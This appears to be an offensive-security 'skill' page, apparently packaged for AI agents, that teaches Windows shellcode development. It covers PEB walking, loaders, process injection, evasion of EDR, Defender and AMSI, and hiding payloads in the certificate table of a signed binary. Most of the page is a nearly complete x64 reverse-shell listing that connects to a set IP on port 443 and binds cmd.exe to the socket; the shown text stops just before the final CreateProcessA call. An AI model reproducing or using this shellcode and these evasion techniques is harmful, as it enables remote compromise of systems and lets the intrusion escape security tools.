Offensive Shellcode

Shellcode Development Workflow

1. Define concept and target platform (x86/x64, Windows/Linux/macOS)
2. Write assembly using position-independent techniques
3. Extract binary and test in controlled environment
4. Apply null byte avoidance and optimizations
5. Encode/encrypt to evade static detection
6. Package with loader and choose delivery method

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Basic Concepts

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer:

1. Allocate with PAGE_READWRITE
2. Write shellcode to allocated region
3. Call VirtualProtect to switch to PAGE_EXECUTE_READ

char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();

Position-Independent Code (PIC) Techniques

| Method | Platform | Notes | |--------|----------|-------| | Call/Pop | Windows | Push next addr, pop into register | | FPU state | Windows | fstenv saves instruction pointer | | SEH | Windows | Exception handler stores EIP | | GOT | Linux | Global Offset Table | | VDSO | Linux | Kernel-provided shared object |

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Windows API Resolution (PEB Walk)

Identifying kernel32.dll without imports:

1. Get PEB via gs:[0x60] (x64) or fs:[0x30] (x86)
2. Walk PEB->Ldr.InMemoryOrderModuleList — order: exe → ntdll → kernel32
3. Hash-compare module names to locate kernel32
4. Parse the Export Address Table (EAT)
5. Find GetProcAddress by name hash, then resolve LoadLibraryA
6. Use LoadLibraryA to load WS2_32.dll, resolve Winsock functions

WinDbg helpers for debugging PEB walk:

dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr 
dt -r _PEB_LDR_DATA 
dt _LDR_DATA_TABLE_ENTRY ( - 0x10)
lm m kernel32   # verify base address
r @r8           # check register

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Shellcode Loaders

Loader Responsibilities

• Environment verification / keying (sandbox detection)
• Shellcode decryption
• Safe memory allocation and injection
• Ends its duties after injecting

Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)

Allocation Phase

Avoid RWX allocations — use two-step:

• VirtualAllocEx / NtAllocateVirtualMemory — allocate RW
• ZwCreateSection + NtMapViewOfSection — alternative approach
• After writing: VirtualProtectEx to switch to RX

Other options: code caves, stack/heap (with DEP disabled)

Write Phase

• WriteProcessMemory / NtWriteVirtualMemory
• memcpy to mapped section

Evasion tips:

• Prepend shellcode with dummy opcodes
• Split into chunks, write in randomized order
• Add delays between writes

Execute Phase

Most scrutinized step — EDR checks thread start address against image-backed memory:

| Technique | Notes | |-----------|-------| | CreateRemoteThread / ZwCreateThreadEx | Loud, heavily monitored | | NtSetContextThread | Hijack suspended thread | | NtQueueApcThreadEx | APC injection | | API trampolines | Overwrite function prologue | | ThreadlessInject | No new threads created |

Indirect execution resources:

• FlavorTown
• AlternativeShellcodeExec
• ThreadlessInject

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PE-to-Shellcode Conversion

| Tool | Purpose | |------|---------| | Donut | EXE/DLL → shellcode | | sRDI | DLL → position-independent shellcode | | Pe2shc | PE → shellcode | | Amber | Reflective PE packer |

Open-source loaders:

• ScareCrow
• NimPackt-v1
• NullGate — indirect syscalls + junk-write sequencing
• DripLoader — chunked RW writes + direct syscalls + JMP trampoline
• ProtectMyTooling — chain multiple protections
• Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)

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Shellcode Storage & Hiding

| Location | Risk | Notes | |----------|------|-------| | Hardcoded in .text | Medium | Requires recompile; stored RW/RO | | PE Resources (RCDATA) | High | Most scanned by AV | | Extra PE section | Medium | Use second-to-last section | | Certificate Table | Low | Keeps signed PE signature intact | | Internet-hosted | Variable | SharpShooter |

Certificate Table technique (recommended):

• Pad Certificate Table with shellcode bytes; update PE headers
• Backdoor only the loader DLL (e.g., ffmpeg.dll in teams.exe)
• Main executable signature remains valid; only the DLL signature breaks

Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.

> Windows 11 24H2 note: AMSI heap scanning is active. Allocate with PAGE_NOACCESS, decrypt in place, then switch to PAGE_EXECUTE_READ to avoid live-heap scans.

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Evasion

Progressive Evasion Escalation

1. Basic shellcode execution (baseline)
2. Add XOR/AES encryption + obfuscation
3. Direct syscalls to bypass userland hooks
4. Remote process injection as last resort

Local vs Remote Injection

Remote injection is more detectable:

• CFG / CIG enforcement
• ETW Ti feeds
• EDR call-stack back-tracing (NtOpenProcess invocation source)
• More scrutinized steps: OpenProcess → Allocate → Write → Execute

Defender bypass tools (DefenderBypass):

• myEncoder3.py — XOR-encrypt binary shellcode
• InjectBasic.cpp — basic C++ injector
• InjectCryptXOR.cpp — XOR decrypt + inject
• InjectSyscall-LocalProcess.cpp — direct syscalls, no suspicious IAT entries
• InjectSyscall-RemoteProcess.cpp — remote process injection via direct syscalls

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Cross-Platform Considerations

Windows on ARM64 (WoA)

• Syscalls use SVC 0 with ARM64 table in ntdll!KiServiceTableArm64
• Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with PACIASP

Linux 6.9+ (eBPF Arena)

• BPF_MAP_TYPE_ARENA maps can hold executable memory
• Hide shellcode chunks in arena map, execute via bpf_prog_run_pin_on_cpu

macOS (Signed System Volume)

• macOS 12+ seals the system partition; unsigned payloads cannot reside there
• Userspace: launch agents, dylib hijacks in /Library/Apple/System/Library/Dyld/
• Kernel persistence: create sealed snapshot, mount RW, inject, resign with kmutil, bless

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DripLoader Technique

github.com/xuanxuan0/DripLoader:

1. Reserve 64KB chunks with NO_ACCESS
2. Allocate 4KB RW chunks within that pool
3. Write shellcode in chunks in randomized order
4. Re-protect to RX
5. Overwrite prologue of ntdll!RtlpWow64CtxFromAmd64 with JMP trampoline
6. All calls via direct syscalls: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx

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Full x64 Reverse Shell Shellcode (Windows)

Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):

import ctypes, struct
from keystone import *

CODE = (
# Locate kernel32 Base Address
    " start:                         "
    "   add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
    " find_kernel32:                 "
    "   int3                        ;" # WinDbg breakpoint (disable for release)
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;" # RAX = PEB
    "   mov rax, [rax + 0x18]       ;" # RAX = PEB->Ldr
    "   mov rsi, [rax + 0x20]       ;" # RSI = InMemoryOrderModuleList
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;" # RBX = kernel32 base
    "   mov r8, rbx                 ;"
# Parse Export Address Table
    "   mov ebx, [rbx+0x3C]         ;" # PE signature offset
    "   add rbx, r8                 ;" # RBX = PE header
    "   xor r12,r12                 ;"
    "   add r12, 0x88FFFFF          ;"
    "   shr r12, 0x14               ;"
    "   mov edx, [rbx+r12]          ;" # EAT RVA
    "   add rdx, r8                 ;" # RDX = EAT VA
    "   mov r10d, [rdx+0x14]        ;" # NumberOfFunctions
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x20]        ;" # AddressOfNames RVA
    "   add r11, r8                 ;" # AddressOfNames VA
# Find GetProcAddress
    "   mov rcx, r10                ;"
    " k32findfunction:               "
    "   jecxz functionfound         ;"
    "   xor ebx,ebx                 ;"
    "   mov ebx, [r11+4+rcx*4]      ;" # Function name RVA
    "   add rbx, r8                 ;" # Function name VA
    "   dec rcx                     ;"
    "   mov rax, 0x41636f7250746547 ;" # 'GetProcA'
    "   cmp [rbx], rax              ;"
    "   jnz k32findfunction         ;"
# Get function address
    " functionfound:                 "
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x24]        ;" # AddressOfNameOrdinals RVA
    "   add r11, r8                 ;"
    "   inc rcx                     ;"
    "   mov r13w, [r11+rcx*2]       ;" # Ordinal
    "   xor r11, r11                ;"
    "   mov r11d, [rdx+0x1c]        ;" # AddressOfFunctions RVA
    "   add r11, r8                 ;"
    "   mov eax, [r11+4+r13*4]      ;"
    "   add rax, r8                 ;" # GetProcAddress VA
    "   mov r14, rax                ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
    "   mov rcx, 0x41797261         ;"
    "   push rcx                    ;"
    "   mov rcx, 0x7262694c64616f4c ;"
    "   push rcx                    ;" # 'LoadLibraryA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;" # kernel32 base
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(kernel32, LoadLibraryA)
    "   add rsp, 0x40               ;"
    "   mov rsi, rax                ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
    "   xor rax, rax                ;"
    "   mov rax, 0x6C6C             ;"
    "   push rax                    ;"
    "   mov rax, 0x642E32335F325357 ;"
    "   push rax                    ;" # 'WS2_32.dll'
    "   mov rcx, rsp                ;"
    "   sub rsp, 0x30               ;"
    "   call rsi                    ;" # LoadLibraryA("WS2_32.dll")
    "   mov r15, rax                ;" # R15 = WS2_32 base
    "   add rsp, 0x40               ;"
# WSAStartup
    "   mov rax, 0x7075             ;"
    "   push rax                    ;"
    "   mov rax, 0x7472617453415357 ;"
    "   push rax                    ;" # 'WSAStartup'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;" # GetProcAddress(ws2_32, WSAStartup)
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   xor rcx,rcx                 ;"
    "   mov cx,408                  ;"
    "   sub rsp,rcx                 ;"
    "   lea rdx,[rsp]               ;" # lpWSAData
    "   mov cx,514                  ;" # wVersionRequired = 2.2
    "   sub rsp,88                  ;"
    "   call r12                    ;" # WSAStartup
# WSASocketA — create socket
    "   mov rax, 0x4174             ;"
    "   push rax                    ;"
    "   mov rax, 0x656b636f53415357 ;"
    "   push rax                    ;" # 'WSASocketA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   sub rsp,0x208               ;"
    "   xor rdx, rdx                ;"
    "   sub rsp, 88                 ;"
    "   mov [rsp+32], rdx           ;"
    "   mov [rsp+40], rdx           ;"
    "   inc rdx                     ;"
    "   mov rcx, rdx                ;"
    "   inc rcx                     ;"
    "   xor r8,r8                   ;"
    "   add r8,6                    ;"
    "   xor r9,r9                   ;"
    "   mov r9w,98*4                ;"
    "   mov ebx,[r15+r9]            ;"
    "   xor r9,r9                   ;"
    "   call r12                    ;" # WSASocketA
    "   mov r13, rax                ;" # R13 = socket handle
    "   add rsp, 0x208              ;"
# WSAConnect — connect to C2
    "   mov rax, 0x7463             ;"
    "   push rax                    ;"
    "   mov rax, 0x656e6e6f43415357 ;"
    "   push rax                    ;" # 'WSAConnect'
    "   mov rdx, rsp                ;"
    "   mov rcx, r15                ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;"
    "   mov rcx, r13                ;" # socket handle
    "   sub rsp,0x208               ;"
    "   xor rax,rax                 ;"
    "   inc rax                     ;"
    "   inc rax                     ;"
    "   mov [rsp], rax              ;" # AF_INET = 2
    "   mov rax, 0xbb01             ;" # Port 443 (big-endian)
    "   mov [rsp+2], rax            ;"
    "   mov rax, 0x31061fac         ;" # IP 172.31.6.49 — UPDATE THIS
    "   mov [rsp+4], rax            ;"
    "   lea rdx,[rsp]               ;"
    "   mov r8, 0x16                ;" # sizeof(sockaddr_in)
    "   xor r9,r9                   ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   push r9                     ;"
    "   sub rsp, 0x88               ;"
    "   call r12                    ;" # WSAConnect
# Re-locate kernel32 and resolve CreateProcessA
    "   xor rcx, rcx                ;"
    "   mov rax, gs:[rcx + 0x60]    ;"
    "   mov rax, [rax + 0x18]       ;"
    "   mov rsi, [rax + 0x20]       ;"
    "   lodsq                       ;"
    "   xchg rax, rsi               ;"
    "   lodsq                       ;"
    "   mov rbx, [rax + 0x20]       ;"
    "   mov r8, rbx                 ;"
    "   mov rax, 0x41737365636f     ;"
    "   push rax                    ;"
    "   mov rax, 0x7250657461657243 ;"
    "   push rax                    ;" # 'CreateProcessA'
    "   mov rdx, rsp                ;"
    "   mov rcx, r8                 ;"
    "   sub rsp, 0x30               ;"
    "   call r14                    ;"
    "   add rsp, 0x40               ;"
    "   mov r12, rax                ;" # R12 = CreateProcessA
# Push cmd.exe + build STARTUPINFOA
    "   mov rax, 0x6578652e646d63   ;"
    "   push rax                    ;" # 'cmd.exe'
    "   mov rcx, rsp                ;" # lpApplicationName
    "   push r13                    ;" # hStdError = socket
    "   push r13                    ;" # hStdOutput = socket
    "   push r13                    ;" # hStdInput = socket
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x100              ;" # STARTF_USESTDHANDLES
    "   push ax                     ;"
    "   xor rax,rax                 ;"
    "   push ax                     ;"
    "   push ax                     ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   push rax                    ;"
    "   mov rax, 0x68               ;"
    "   push rax                    ;" # cb = 0x68
    "   mov rdi,rsp                 ;" # RDI = &STARTUPINFOA
# Call CreateProcessA
    "   mov rax, rsp                ;"
    "   sub rax, 0x500              ;"

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [SnailSploit](https://github.com/SnailSploit)
- **Source:** [SnailSploit/Claude-Red](https://github.com/SnailSploit/Claude-Red)
- **License:** MIT

Install and usage instructions live in the source repository linked above.